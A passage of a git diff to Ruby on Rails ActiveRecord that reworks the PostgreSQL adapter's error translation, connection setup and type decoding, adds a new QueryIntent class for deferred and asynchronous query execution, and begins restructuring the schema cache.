+            elsif exception.is_a?(PG::ConnectionBad)
+              # libpq message style always ends with a newline; the pg gem's internal
+              # errors do not. We separate these cases because a pg-internal
+              # ConnectionBad means it failed before it managed to send the query,
+              # whereas a libpq failure could have occurred at any time (meaning the
+              # server may have already executed part or all of the query).
+              if exception.message.end_with?("\n")
+                ConnectionFailed.new(exception, connection_pool: @pool)
+              else
+                ConnectionNotEstablished.new(exception, connection_pool: @pool)
+              end
+            else
+              super
+            end
+          when UNIQUE_VIOLATION
+            RecordNotUnique.new(message, sql: sql, binds: binds, connection_pool: @pool)
+          when FOREIGN_KEY_VIOLATION
+            InvalidForeignKey.new(message, sql: sql, binds: binds, connection_pool: @pool)
+          when CHECK_VIOLATION
+            CheckViolation.new(message, sql: sql, binds: binds, connection_pool: @pool)
+          when EXCLUSION_VIOLATION
+            ExclusionViolation.new(message, sql: sql, binds: binds, connection_pool: @pool)
+          when VALUE_LIMIT_VIOLATION
+            ValueTooLong.new(message, sql: sql, binds: binds, connection_pool: @pool)
+          when NUMERIC_VALUE_OUT_OF_RANGE
+            RangeError.new(message, sql: sql, binds: binds, connection_pool: @pool)
+          when NOT_NULL_VIOLATION
+            NotNullViolation.new(message, sql: sql, binds: binds, connection_pool: @pool)
+          when SERIALIZATION_FAILURE
+            SerializationFailure.new(message, sql: sql, binds: binds, connection_pool: @pool)
+          when DEADLOCK_DETECTED
+            Deadlocked.new(message, sql: sql, binds: binds, connection_pool: @pool)
+          when DUPLICATE_DATABASE
+            DatabaseAlreadyExists.new(message, sql: sql, binds: binds, connection_pool: @pool)
+          when LOCK_NOT_AVAILABLE
+            LockWaitTimeout.new(message, sql: sql, binds: binds, connection_pool: @pool)
+          when QUERY_CANCELED
+            QueryCanceled.new(message, sql: sql, binds: binds, connection_pool: @pool)
           else
-            query += initializer.query_conditions_for_initial_load(type_map)
+            super
           end
+        end
 
-          execute_and_clear(query, "SCHEMA", []) do |records|
-            initializer.run(records)
+        def retryable_query_error?(exception)
+          # We cannot retry anything if we're inside a broken transaction; we need to at
+          # least raise until the innermost savepoint is rolled back
+          in_transaction = begin
+            @raw_connection&.transaction_status == ::PG::PQTRANS_INERROR
+          rescue PG::ConnectionBad
+            false
           end
+          !in_transaction && super
         end
 
-        FEATURE_NOT_SUPPORTED = "0A000" #:nodoc:
-
-        def execute_and_clear(sql, name, binds, prepare: false)
-          if without_prepared_statement?(binds)
-            result = exec_no_cache(sql, name, [])
-          elsif !prepare
-            result = exec_no_cache(sql, name, binds)
-          else
-            result = exec_cache(sql, name, binds)
+        def get_oid_type(oid, fmod, column_name, sql_type = "")
+          if !type_map.key?(oid)
+            load_additional_types([oid])
           end
-          ret = yield result
-          result.clear
-          ret
-        end
 
-        def exec_no_cache(sql, name, binds)
-          type_casted_binds = type_casted_binds(binds)
-          log(sql, name, binds, type_casted_binds) do
-            ActiveSupport::Dependencies.interlock.permit_concurrent_loads do
-              @connection.async_exec(sql, type_casted_binds)
+          type_map.fetch(oid, fmod, sql_type) {
+            warn "unknown OID #{oid}: failed to recognize type of '#{column_name}'. It will be treated as String."
+            Type.default_value.tap do |cast_type|
+              type_map.register_type(oid, cast_type)
             end
-          end
+          }
         end
 
-        def exec_cache(sql, name, binds)
-          stmt_key = prepare_statement(sql)
-          type_casted_binds = type_casted_binds(binds)
-
-          log(sql, name, binds, type_casted_binds, stmt_key) do
-            ActiveSupport::Dependencies.interlock.permit_concurrent_loads do
-              @connection.exec_prepared(stmt_key, type_casted_binds)
-            end
+        def load_additional_types(oids = nil)
+          initializer = OID::TypeMapInitializer.new(type_map)
+          load_types_queries(initializer, oids) do |query|
+            intent = internal_build_intent(query, "SCHEMA", [], allow_retry: true, materialize_transactions: false)
+            intent.execute!
+            records = intent.raw_result
+            initializer.run(records)
           end
-        rescue ActiveRecord::StatementInvalid => e
-          raise unless is_cached_plan_failure?(e)
+        end
 
-          # Nothing we can do if we are in a transaction because all commands
-          # will raise InFailedSQLTransaction
-          if in_transaction?
-            raise ActiveRecord::PreparedStatementCacheExpired.new(e.cause.message)
+        def load_types_queries(initializer, oids)
+          query = <<~SQL
+            SELECT t.oid, t.typname, t.typelem, t.typdelim, t.typinput, r.rngsubtype, t.typtype, t.typbasetype
+            FROM pg_type as t
+            LEFT JOIN pg_range as r ON oid = rngtypid
+          SQL
+          if oids
+            yield query + "WHERE t.oid IN (%s)" % oids.join(", ")
           else
-            # outside of transactions we can simply flush this query and retry
-            @statements.delete sql_key(sql)
-            retry
+            yield query + initializer.query_conditions_for_known_type_names
+            yield query + initializer.query_conditions_for_known_type_types
+            yield query + initializer.query_conditions_for_array_types
           end
         end
 
+        FEATURE_NOT_SUPPORTED = "0A000" # :nodoc:
+
         # Annoyingly, the code for prepared statements whose return value may
         # have changed is FEATURE_NOT_SUPPORTED.
         #
@@ -651,12 +943,10 @@ def exec_cache(sql, name, binds)
         # ActiveRecord::PreparedStatementCacheExpired
         #
         # Check here for more details:
-        # http://git.postgresql.org/gitweb/?p=postgresql.git;a=blob;f=src/backend/utils/cache/plancache.c#l573
-        CACHED_PLAN_HEURISTIC = "cached plan must not change result type".freeze
-        def is_cached_plan_failure?(e)
-          pgerror = e.cause
-          code = pgerror.result.result_error_field(PGresult::PG_DIAG_SQLSTATE)
-          code == FEATURE_NOT_SUPPORTED && pgerror.message.include?(CACHED_PLAN_HEURISTIC)
+        # https://git.postgresql.org/gitweb/?p=postgresql.git;a=blob;f=src/backend/utils/cache/plancache.c#l573
+        def is_cached_plan_failure?(pgerror)
+          pgerror.result.result_error_field(PG::PG_DIAG_SQLSTATE) == FEATURE_NOT_SUPPORTED &&
+            pgerror.result.result_error_field(PG::PG_DIAG_SOURCE_FUNCTION) == "RevalidateCachedQuery"
         rescue
           false
         end
@@ -673,17 +963,17 @@ def sql_key(sql)
 
         # Prepare the statement if it hasn't been prepared, return
         # the statement key.
-        def prepare_statement(sql)
+        def prepare_statement(sql, binds, conn)
           sql_key = sql_key(sql)
           unless @statements.key? sql_key
             nextkey = @statements.next_key
             begin
-              @connection.prepare nextkey, sql
+              conn.prepare nextkey, sql
             rescue => e
-              raise translate_exception_class(e, sql)
+              raise translate_exception_class(e, sql, binds)
             end
             # Clear the queue
-            @connection.get_last_result
+            conn.get_last_result
             @statements[sql_key] = nextkey
           end
           @statements[sql_key]
@@ -692,53 +982,85 @@ def prepare_statement(sql)
         # Connects to a PostgreSQL server and sets up the adapter depending on the
         # connected server's characteristics.
         def connect
-          @connection = PGconn.connect(@connection_parameters)
-          configure_connection
-        rescue ::PG::Error => error
-          if error.message.include?("does not exist")
-            raise ActiveRecord::NoDatabaseError
-          else
-            raise
+          @raw_connection = self.class.new_client(@connection_parameters)
+        rescue ConnectionNotEstablished => ex
+          raise ex.set_pool(@pool)
+        end
+
+        def reconnect
+          begin
+            @raw_connection&.reset
+          rescue PG::ConnectionBad
+            @raw_connection = nil
           end
+
+          connect unless @raw_connection
         end
 
         # Configures the encoding, verbosity, schema search path, and time zone of the connection.
         # This is called by #connect and should not be called manually.
         def configure_connection
+          super
+
           if @config[:encoding]
-            @connection.set_client_encoding(@config[:encoding])
+            @raw_connection.set_client_encoding(@config[:encoding])
           end
           self.client_min_messages = @config[:min_messages] || "warning"
           self.schema_search_path = @config[:schema_search_path] || @config[:schema_order]
 
+          unless ActiveRecord.db_warnings_action.nil?
+            @raw_connection.set_notice_receiver do |result|
+              message = result.error_field(PG::Result::PG_DIAG_MESSAGE_PRIMARY)
+              code = result.error_field(PG::Result::PG_DIAG_SQLSTATE)
+              level = result.error_field(PG::Result::PG_DIAG_SEVERITY)
+              @notice_receiver_sql_warnings << SQLWarning.new(message, code, level, nil, @pool)
+            end
+          end
+
           # Use standard-conforming strings so we don't have to do the E'...' dance.
           set_standard_conforming_strings
 
-          # If using Active Record's time zone support configure the connection to return
-          # TIMESTAMP WITH ZONE types in UTC.
-          # (SET TIME ZONE does not use an equals sign like other SET variables)
-          if ActiveRecord::Base.default_timezone == :utc
-            execute("SET time zone 'UTC'", "SCHEMA")
-          elsif @local_tz
-            execute("SET time zone '#{@local_tz}'", "SCHEMA")
-          end
+          variables = @config.fetch(:variables, {}).stringify_keys
+
+          # Set interval output format to ISO 8601 for ease of parsing by ActiveSupport::Duration.parse
+          query_command("SET intervalstyle = iso_8601", "SCHEMA")
 
           # SET statements from :variables config hash
-          # http://www.postgresql.org/docs/current/static/sql-set.html
-          variables = @config[:variables] || {}
+          # https://www.postgresql.org/docs/current/static/sql-set.html
           variables.map do |k, v|
             if v == ":default" || v == :default
               # Sets the value to the global or compile default
-              execute("SET SESSION #{k} TO DEFAULT", "SCHEMA")
+              query_command("SET SESSION #{k} TO DEFAULT", "SCHEMA")
             elsif !v.nil?
-              execute("SET SESSION #{k} TO #{quote(v)}", "SCHEMA")
+              query_command("SET SESSION #{k} TO #{quote(v)}", "SCHEMA")
             end
           end
+
+          add_pg_encoders
+          add_pg_decoders
+
+          reload_type_map
         end
 
-        # Returns the current ID of a table's sequence.
-        def last_insert_id_result(sequence_name)
-          exec_query("SELECT currval('#{sequence_name}')", "SQL")
+        def reconfigure_connection_timezone
+          variables = @config.fetch(:variables, {}).stringify_keys
+
+          # If it's been directly configured as a connection variable, we don't
+          # need to do anything here; it will be set up by configure_connection
+          # and then never changed.
+          return if variables["timezone"]
+
+          # If using Active Record's time zone support configure the connection
+          # to return TIMESTAMP WITH ZONE types in UTC.
+          if default_timezone == :utc
+            intent = QueryIntent.new(adapter: self, processed_sql: "SET SESSION timezone TO 'UTC'", name: "SCHEMA")
+            intent.execute!
+            intent.finish
+          else
+            intent = QueryIntent.new(adapter: self, processed_sql: "SET SESSION timezone TO DEFAULT", name: "SCHEMA")
+            intent.execute!
+            intent.finish
+          end
         end
 
         # Returns the list of a table's column names, data types, and default values.
@@ -760,10 +1082,12 @@ def last_insert_id_result(sequence_name)
         #  - format_type includes the column size constraint, e.g. varchar(50)
         #  - ::regclass is a function that gives the id for a table name
         def column_definitions(table_name)
-          query(<<-end_sql, "SCHEMA")
+          query_rows(<<~SQL)
               SELECT a.attname, format_type(a.atttypid, a.atttypmod),
                      pg_get_expr(d.adbin, d.adrelid), a.attnotnull, a.atttypid, a.atttypmod,
-                     c.collname, col_description(a.attrelid, a.attnum) AS comment
+                     c.collname, col_description(a.attrelid, a.attnum) AS comment,
+                     #{supports_identity_columns? ? 'attidentity' : quote('')} AS identity,
+                     #{supports_virtual_columns? ? 'attgenerated' : quote('')} as attgenerated
                 FROM pg_attribute a
                 LEFT JOIN pg_attrdef d ON a.attrelid = d.adrelid AND a.attnum = d.adnum
                 LEFT JOIN pg_type t ON a.atttypid = t.oid
@@ -771,36 +1095,38 @@ def column_definitions(table_name)
                WHERE a.attrelid = #{quote(quote_table_name(table_name))}::regclass
                  AND a.attnum > 0 AND NOT a.attisdropped
                ORDER BY a.attnum
-          end_sql
+          SQL
         end
 
-        def extract_table_ref_from_insert_sql(sql)
-          sql[/into\s("[A-Za-z0-9_."\[\]\s]+"|[A-Za-z0-9_."\[\]]+)\s*/im]
-          $1.strip if $1
+        def arel_visitor
+          Arel::Visitors::PostgreSQL.new(self)
         end
 
-        def create_table_definition(*args)
-          PostgreSQL::TableDefinition.new(*args)
+        def build_statement_pool
+          StatementPool.new(self, self.class.type_cast_config_to_integer(@config[:statement_limit]))
         end
 
         def can_perform_case_insensitive_comparison_for?(column)
-          @case_insensitive_cache ||= {}
-          @case_insensitive_cache[column.sql_type] ||= begin
-            sql = <<-end_sql
-              SELECT exists(
-                SELECT * FROM pg_proc
-                WHERE proname = 'lower'
-                  AND proargtypes = ARRAY[#{quote column.sql_type}::regtype]::oidvector
-              ) OR exists(
-                SELECT * FROM pg_proc
-                INNER JOIN pg_cast
-                  ON ARRAY[casttarget]::oidvector = proargtypes
-                WHERE proname = 'lower'
-                  AND castsource = #{quote column.sql_type}::regtype
-              )
-            end_sql
-            execute_and_clear(sql, "SCHEMA", []) do |result|
-              result.getvalue(0, 0)
+          # NOTE: citext is an exception. It is possible to perform a
+          #       case-insensitive comparison using `LOWER()`, but it is
+          #       unnecessary, as `citext` is case-insensitive by definition.
+          @case_insensitive_cache ||= { "citext" => false }
+          @case_insensitive_cache.fetch(column.sql_type) do
+            @case_insensitive_cache[column.sql_type] = begin
+              sql = <<~SQL
+                SELECT exists(
+                  SELECT * FROM pg_proc
+                  WHERE proname = 'lower'
+                    AND proargtypes = ARRAY[#{quote column.sql_type}::regtype]::oidvector
+                ) OR exists(
+                  SELECT * FROM pg_proc
+                  INNER JOIN pg_cast
+                    ON ARRAY[casttarget]::oidvector = proargtypes
+                  WHERE proname = 'lower'
+                    AND castsource = #{quote column.sql_type}::regtype
+                )
+              SQL
+              query_value(sql)
             end
           end
         end
@@ -810,10 +1136,32 @@ def add_pg_encoders
           map[Integer] = PG::TextEncoder::Integer.new
           map[TrueClass] = PG::TextEncoder::Boolean.new
           map[FalseClass] = PG::TextEncoder::Boolean.new
-          @connection.type_map_for_queries = map
+          @raw_connection.type_map_for_queries = map
+        end
+
+        def update_typemap_for_default_timezone
+          if @raw_connection && @mapped_default_timezone != default_timezone && @timestamp_decoder
+            decoder_class = default_timezone == :utc ?
+              PG::TextDecoder::TimestampUtc :
+              PG::TextDecoder::TimestampWithoutTimeZone
+
+            @timestamp_decoder = decoder_class.new(**@timestamp_decoder.to_h)
+            @raw_connection.type_map_for_results.add_coder(@timestamp_decoder)
+
+            @mapped_default_timezone = default_timezone
+
+            # if default timezone has changed, we need to reconfigure the connection
+            # (specifically, the session time zone)
+            reconfigure_connection_timezone
+
+            true
+          end
         end
 
         def add_pg_decoders
+          @mapped_default_timezone = nil
+          @timestamp_decoder = nil
+
           coders_by_name = {
             "int2" => PG::TextDecoder::Integer,
             "int4" => PG::TextDecoder::Integer,
@@ -821,23 +1169,38 @@ def add_pg_decoders
             "oid" => PG::TextDecoder::Integer,
             "float4" => PG::TextDecoder::Float,
             "float8" => PG::TextDecoder::Float,
+            "numeric" => PG::TextDecoder::Numeric,
             "bool" => PG::TextDecoder::Boolean,
+            "timestamp" => PG::TextDecoder::TimestampUtc,
+            "timestamptz" => PG::TextDecoder::TimestampWithTimeZone,
           }
+          coders_by_name["date"] = PG::TextDecoder::Date if decode_dates
+          coders_by_name["money"] = MoneyDecoder if decode_money
+          coders_by_name["bytea"] = decode_bytea ? ByteaDecoder : ByteaMarker
+
           known_coder_types = coders_by_name.keys.map { |n| quote(n) }
-          query = <<-SQL % known_coder_types.join(", ")
+          query = <<~SQL % known_coder_types.join(", ")
             SELECT t.oid, t.typname
             FROM pg_type as t
             WHERE t.typname IN (%s)
           SQL
-          coders = execute_and_clear(query, "SCHEMA", []) do |result|
-            result
-              .map { |row| construct_coder(row, coders_by_name[row["typname"]]) }
-              .compact
-          end
+          intent = internal_build_intent(query, "SCHEMA", [], allow_retry: true, materialize_transactions: false)
+          intent.execute!
+          result = intent.raw_result
+          coders = result.filter_map { |row| construct_coder(row, coders_by_name[row["typname"]]) }
 
           map = PG::TypeMapByOid.new
           coders.each { |coder| map.add_coder(coder) }
-          @connection.type_map_for_results = map
+          @raw_connection.type_map_for_results = map
+
+          @type_map_for_results = PG::TypeMapByOid.new
+          @type_map_for_results.default_type_map = map
+          @type_map_for_results.add_coder(PG::TextDecoder::Bytea.new(oid: 17, name: "bytea"))
+          @type_map_for_results.add_coder(MoneyDecoder.new(oid: 790, name: "money"))
+
+          # extract timestamp decoder for use in update_typemap_for_default_timezone
+          @timestamp_decoder = coders.find { |coder| coder.name == "timestamp" }
+          update_typemap_for_default_timezone
         end
 
         def construct_coder(row, coder_class)
@@ -845,18 +1208,44 @@ def construct_coder(row, coder_class)
           coder_class.new(oid: row["oid"].to_i, name: row["typname"])
         end
 
+        class MoneyDecoder < PG::SimpleDecoder # :nodoc:
+          TYPE = OID::Money.new
+
+          def decode(value, tuple = nil, field = nil)
+            TYPE.deserialize(value)
+          end
+        end
+
+        class ByteaMarker < PG::SimpleDecoder # :nodoc:
+          def decode(value, tuple = nil, field = nil)
+            return if value.nil?
+            value.instance_variable_set(:@ar_pg_bytea_decoded, false) if value.encoding == Encoding::BINARY
+            value
+          end
+        end
+
+        class ByteaDecoder < PG::SimpleDecoder # :nodoc:
+          def decode(value, tuple = nil, field = nil)
+            return if value.nil?
+            decoded = PG::Connection.unescape_bytea(value)
+            decoded.instance_variable_set(:@ar_pg_bytea_decoded, true)
+            decoded
+          end
+        end
+
         ActiveRecord::Type.add_modifier({ array: true }, OID::Array, adapter: :postgresql)
         ActiveRecord::Type.add_modifier({ range: true }, OID::Range, adapter: :postgresql)
         ActiveRecord::Type.register(:bit, OID::Bit, adapter: :postgresql)
         ActiveRecord::Type.register(:bit_varying, OID::BitVarying, adapter: :postgresql)
         ActiveRecord::Type.register(:binary, OID::Bytea, adapter: :postgresql)
         ActiveRecord::Type.register(:cidr, OID::Cidr, adapter: :postgresql)
+        ActiveRecord::Type.register(:date, OID::Date, adapter: :postgresql)
         ActiveRecord::Type.register(:datetime, OID::DateTime, adapter: :postgresql)
         ActiveRecord::Type.register(:decimal, OID::Decimal, adapter: :postgresql)
         ActiveRecord::Type.register(:enum, OID::Enum, adapter: :postgresql)
         ActiveRecord::Type.register(:hstore, OID::Hstore, adapter: :postgresql)
         ActiveRecord::Type.register(:inet, OID::Inet, adapter: :postgresql)
-        ActiveRecord::Type.register(:json, OID::Json, adapter: :postgresql)
+        ActiveRecord::Type.register(:interval, OID::Interval, adapter: :postgresql)
         ActiveRecord::Type.register(:jsonb, OID::Jsonb, adapter: :postgresql)
         ActiveRecord::Type.register(:money, OID::Money, adapter: :postgresql)
         ActiveRecord::Type.register(:point, OID::Point, adapter: :postgresql)
@@ -864,6 +1253,30 @@ def construct_coder(row, coder_class)
         ActiveRecord::Type.register(:uuid, OID::Uuid, adapter: :postgresql)
         ActiveRecord::Type.register(:vector, OID::Vector, adapter: :postgresql)
         ActiveRecord::Type.register(:xml, OID::Xml, adapter: :postgresql)
+
+        module ByteaDecodeDetection # :nodoc:
+          def unescape_bytea(string)
+            if string.instance_variable_get(:@ar_pg_bytea_decoded) == true
+              ActiveRecord.deprecator.warn(<<~MSG.squish)
+                unescape_bytea called on a query result value that has already been
+                automatically unescaped due to `config.active_record.postgresql_adapter_decode_bytea`.
+                In a future Rails release, this will double-unescape the value as
+                instructed, which could cause data corruption.
+              MSG
+
+              result = string.dup
+              result.remove_instance_variable(:@ar_pg_bytea_decoded)
+              return result
+            end
+
+            super
+          end
+        end
+
+        ::PG::Connection.singleton_class.prepend(ByteaDecodeDetection)
+        ::PG::Connection.prepend(ByteaDecodeDetection)
     end
+
+    ActiveSupport.run_load_hooks(:active_record_postgresqladapter, PostgreSQLAdapter)
   end
 end
diff --git a/activerecord/lib/active_record/connection_adapters/query_intent.rb b/activerecord/lib/active_record/connection_adapters/query_intent.rb
new file mode 100644
index 0000000000000..ad381f1b5d351
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/query_intent.rb
@@ -0,0 +1,325 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    class QueryIntent # :nodoc:
+      # Buffers instrumentation events during background execution for later publishing
+      class EventBuffer
+        def initialize(intent, instrumenter)
+          @intent = intent
+          @instrumenter = instrumenter
+          @events = []
+        end
+
+        def instrument(name, payload = {}, &block)
+          event = @instrumenter.new_event(name, payload)
+          begin
+            event.record(&block)
+          ensure
+            @events << event
+          end
+        end
+
+        def flush
+          events, @events = @events, []
+          events.each do |event|
+            event.payload[:lock_wait] = @intent.lock_wait
+            ActiveSupport::Notifications.publish_event(event)
+          end
+        end
+      end
+
+      attr_reader :arel, :name, :prepare, :allow_retry, :allow_async,
+                  :materialize_transactions, :batch, :pool, :session, :lock_wait
+      attr_writer :raw_sql, :session
+      attr_accessor :adapter, :binds, :ran_async, :notification_payload
+
+      def initialize(adapter:, arel: nil, raw_sql: nil, processed_sql: nil, name: "SQL", binds: [], prepare: false, allow_async: false,
+                     allow_retry: false, materialize_transactions: true, batch: false)
+        if arel.nil? && raw_sql.nil? && processed_sql.nil?
+          raise ArgumentError, "One of arel, raw_sql, or processed_sql must be provided"
+        end
+
+        @adapter = adapter
+        @arel = arel
+        @raw_sql = raw_sql
+        @name = name
+        @binds = binds
+        @prepare = prepare
+        @allow_async = allow_async
+        @ran_async = nil
+        @allow_retry = allow_retry
+        @materialize_transactions = materialize_transactions
+        @batch = batch
+        @processed_sql = processed_sql
+        @type_casted_binds = nil
+        @notification_payload = nil
+        @raw_result = nil
+        @raw_result_available = false
+        @executed = false
+        @write_query = nil
+
+        # Deferred execution state
+        @pool = adapter.pool
+        @session = nil
+        @mutex = ActiveSupport::Concurrency::NullLock
+        @error = nil
+        @lock_wait = nil
+        @event_buffer = nil
+      end
+
+      # Returns a hash representation of the QueryIntent for debugging/introspection
+      def to_h
+        {
+          arel: arel,
+          raw_sql: raw_sql,
+          processed_sql: processed_sql,
+          name: name,
+          binds: binds,
+          prepare: prepare,
+          allow_async: allow_async,
+          allow_retry: allow_retry,
+          materialize_transactions: materialize_transactions,
+          batch: batch,
+          type_casted_binds: type_casted_binds,
+          notification_payload: notification_payload
+        }
+      end
+
+      # Returns a string representation showing key attributes
+      def inspect
+        "#<#{self.class.name} name=#{name.inspect} allow_retry=#{allow_retry} materialize_transactions=#{materialize_transactions}>"
+      end
+
+      # Called by background thread to execute if not already done
+      def execute_or_skip
+        return unless pending?
+
+        @session.synchronize do
+          return unless pending?
+
+          @pool.with_connection do |connection|
+            return unless @mutex.try_lock
+            begin
+              if pending?
+                @event_buffer = EventBuffer.new(self, ActiveSupport::Notifications.instrumenter)
+                ActiveSupport::IsolatedExecutionState[:active_record_instrumenter] = @event_buffer
+
+                @adapter = connection
+                @ran_async = true
+                run_query!
+              end
+            rescue => error
+              @error = error
+            ensure
+              @mutex.unlock
+            end
+          end
+        end
+      end
+
+      # Is this intent still pending (result not yet available)?
+      def pending?
+        !@raw_result_available && @session&.active?
+      end
+
+      # Was this intent canceled?
+      def canceled?
+        @session && !@session.active?
+      end
+
+      def cancel
+        return unless pending?
+        @error = FutureResult::Canceled.new
+      end
+
+      # Returns raw SQL, compiling from arel if needed, memoized
+      def raw_sql
+        @raw_sql ||
+          begin
+            compile_arel!
+            @raw_sql
+          end
+      end
+
+      # Returns preprocessed SQL, memoized
+      def processed_sql
+        @processed_sql ||= preprocess_query
+      end
+
+      def type_casted_binds
+        @type_casted_binds ||=
+          begin
+            compile_arel!
+            adapter.type_casted_binds(binds)
+          end
+      end
+
+      def has_binds?
+        compile_arel!
+        binds && !binds.empty?
+      end
+
+      def execute!
+        if can_run_async?
+          async_schedule!(ActiveRecord::Base.asynchronous_queries_session)
+        else
+          @ran_async = false
+          run_query!
+        end
+      ensure
+        @executed = true
+      end
+
+      def future_result
+        if pending? || can_run_async?
+          FutureResult.new(self)
+        else
+          FutureResult.wrap(cast_result)
+        end
+      end
+
+      def finish
+        affected_rows # just to consume/close the result
+        nil
+      end
+
+      # Internal setter for raw result
+      def raw_result=(value)
+        @raw_result = value
+        @raw_result_available = true
+      end
+
+      # Check if result has been populated yet (without blocking)
+      def raw_result_available?
+        @raw_result_available
+      end
+
+      # Access the raw result, ensuring it's available first
+      def raw_result
+        ensure_result
+        @raw_result
+      end
+
+      # Ensure the result is available, blocking if necessary
+      def ensure_result
+        if @session
+          # Async was scheduled: wait for result (sets lock_wait)
+          execute_or_wait
+        end
+
+        @event_buffer&.flush
+
+        # Raise any error captured during deferred execution
+        raise @error if @error
+      end
+
+      def cast_result
+        raise "Cannot call cast_result before query has executed" unless @executed
+        raise "Cannot call cast_result after affected_rows has been called" if defined?(@affected_rows)
+
+        ensure_result
+        @cast_result ||= adapter.send(:cast_result, @raw_result)
+      end
+
+      def affected_rows
+        raise "Cannot call affected_rows before query has executed" unless @executed
+        raise "Cannot call affected_rows after cast_result has been called" if defined?(@cast_result)
+
+        ensure_result
+        @affected_rows ||= adapter.send(:affected_rows, @raw_result)
+      end
+
+      private
+        def async_schedule!(session)
+          if adapter.current_transaction.joinable?
+            raise AsynchronousQueryInsideTransactionError, "Asynchronous queries are not allowed inside transactions"
+          end
+
+          # Upgrade to real mutex now that we'll have concurrent access
+          @mutex = Mutex.new
+          @session = session
+
+          # Force preprocessing on original thread before queuing
+          processed_sql
+
+          # Detach from original adapter while in queue
+          @adapter = nil
+
+          # Schedule on the pool's async queue
+          @pool.schedule_query(self)
+        end
+
+        # Heuristically guesses whether this is a write query by examining the outermost
+        # SQL operation. Subqueries, function calls, etc are not considered.
+        def write_query?
+          return @write_query unless @write_query.nil?
+
+          @write_query =
+            case arel
+            when Arel::SelectManager
+              false
+            when Arel::InsertManager, Arel::UpdateManager, Arel::DeleteManager
+              true
+            else
+              adapter.write_query?(raw_sql)
+            end
+        end
+
+        def preprocess_query
+          if adapter.preventing_writes? && write_query?
+            raise ActiveRecord::ReadOnlyError, "Write query attempted while in readonly mode: #{raw_sql}"
+          end
+
+          sql = raw_sql
+
+          # We call transformers after the write checks so we don't need to parse the
+          # transformed result (which probably just adds comments we'd need to ignore).
+          # This means we assume no transformer will change a read into a write.
+          ActiveRecord.query_transformers&.each do |transformer|
+            sql = transformer.call(sql, adapter)
+          end
+
+          sql
+        end
+
+        def compile_arel!
+          return if @raw_sql || !@arel
+          @raw_sql, @binds, @prepare, @allow_retry = adapter.to_sql_and_binds(@arel, @binds, @prepare, @allow_retry)
+          nil
+        end
+
+        # Block until result is available, or execute as foreground fallback
+        def execute_or_wait
+          return (@lock_wait = 0.0) if @raw_result_available
+
+          start = Process.clock_gettime(Process::CLOCK_MONOTONIC, :float_millisecond)
+          @mutex.synchronize do
+            if pending?
+              @pool.with_connection do |connection|
+                @adapter = connection
+                @ran_async = false  # Foreground fallback, not actually async
+                run_query!
+              end
+            else
+              # Result was computed by background thread while we waited for mutex
+              @lock_wait = Process.clock_gettime(Process::CLOCK_MONOTONIC, :float_millisecond) - start
+            end
+          rescue => error
+            @error = error
+          end
+        end
+
+        def can_run_async?
+          @allow_async && adapter.async_enabled?
+        end
+
+        def run_query!
+          adapter.execute_intent(self)
+        rescue ::RangeError
+          @cast_result = ActiveRecord::Result.empty
+          @raw_result_available = true
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/schema_cache.rb b/activerecord/lib/active_record/connection_adapters/schema_cache.rb
index 4d339b0a8c0fb..aded7283aa7d7 100644
--- a/activerecord/lib/active_record/connection_adapters/schema_cache.rb
+++ b/activerecord/lib/active_record/connection_adapters/schema_cache.rb
@@ -1,115 +1,477 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/file/atomic"
+
 module ActiveRecord
   module ConnectionAdapters
+    class SchemaReflection
+      class << self
+        attr_accessor :use_schema_cache_dump
+        attr_accessor :check_schema_cache_dump_version
+      end
+
+      self.use_schema_cache_dump = true
+      self.check_schema_cache_dump_version = true
+
+      def initialize(cache_path, cache = nil)
+        @cache = cache
+        @cache_path = cache_path
+      end
+
+      def clear!
+        @cache = empty_cache
+
+        nil
+      end
+
+      def load!(pool)
+        cache(pool)
+
+        self
+      end
+
+      def primary_keys(pool, table_name)
+        cache(pool).primary_keys(pool, table_name)
+      end
+
+      def data_source_exists?(pool, name)
+        cache(pool).data_source_exists?(pool, name)
+      end
+
+      def add(pool, name)
+        cache(pool).add(pool, name)
+      end
+
+      def data_sources(pool, name)
+        cache(pool).data_source_exists?(pool, name)
+      end
+
+      def columns(pool, table_name)
+        cache(pool).columns(pool, table_name)
+      end
+
+      def columns_hash(pool, table_name)
+        cache(pool).columns_hash(pool, table_name)
+      end
+
+      def columns_hash?(pool, table_name)
+        cache(pool).columns_hash?(pool, table_name)
+      end
+
+      def indexes(pool, table_name)
+        cache(pool).indexes(pool, table_name)
+      end
+
+      def version(pool)
+        cache(pool).version(pool)
+      end
+
+      def size(pool)
+        cache(pool).size
+      end
+
+      def clear_data_source_cache!(pool, name)
+        return if @cache.nil? && !possible_cache_available?
+
+        cache(pool).clear_data_source_cache!(pool, name)
+      end
+
+      def cached?(table_name)
+        if @cache.nil?
+          # If `check_schema_cache_dump_version` is enabled we can't load
+          # the schema cache dump without connecting to the database.
+          unless self.class.check_schema_cache_dump_version
+            @cache = load_cache(nil)
+          end
+        end
+
+        @cache&.cached?(table_name)
+      end
+
+      def dump_to(pool, filename)
+        fresh_cache = empty_cache
+        fresh_cache.add_all(pool)
+        fresh_cache.dump_to(filename)
+
+        @cache = fresh_cache
+      end
+
+      private
+        def empty_cache
+          new_cache = SchemaCache.allocate
+          new_cache.send(:initialize)
+          new_cache
+        end
+
+        def cache(pool)
+          @cache ||= load_cache(pool) || empty_cache
+        end
+
+        def possible_cache_available?
+          self.class.use_schema_cache_dump &&
+            @cache_path &&
+            File.file?(@cache_path)
+        end
+
+        def load_cache(pool)
+          # Can't load if schema dumps are disabled
+          return unless possible_cache_available?
+
+          # Check we can find one
+          return unless new_cache = SchemaCache._load_from(@cache_path)
+
+          if self.class.check_schema_cache_dump_version
+            begin
+              pool.with_connection do |connection|
+                current_version = connection.schema_version
+
+                if new_cache.version(connection) != current_version
+                  warn "Ignoring #{@cache_path} because it has expired. The current schema version is #{current_version}, but the one in the schema cache file is #{new_cache.schema_version}."
+                  return
+                end
+              end
+            rescue ActiveRecordError => error
+              warn "Failed to validate the schema cache because of #{error.class}: #{error.message}"
+              return
+            end
+          end
+
+          new_cache
+        end
+    end
+
+    class BoundSchemaReflection
+      class FakePool # :nodoc
+        def initialize(connection)
+          @connection = connection
+        end
+
+        def with_connection
+          yield @connection
+        end
+      end
+
+      class << self
+        def for_lone_connection(abstract_schema_reflection, connection) # :nodoc:
+          new(abstract_schema_reflection, FakePool.new(connection))
+        end
+      end
+
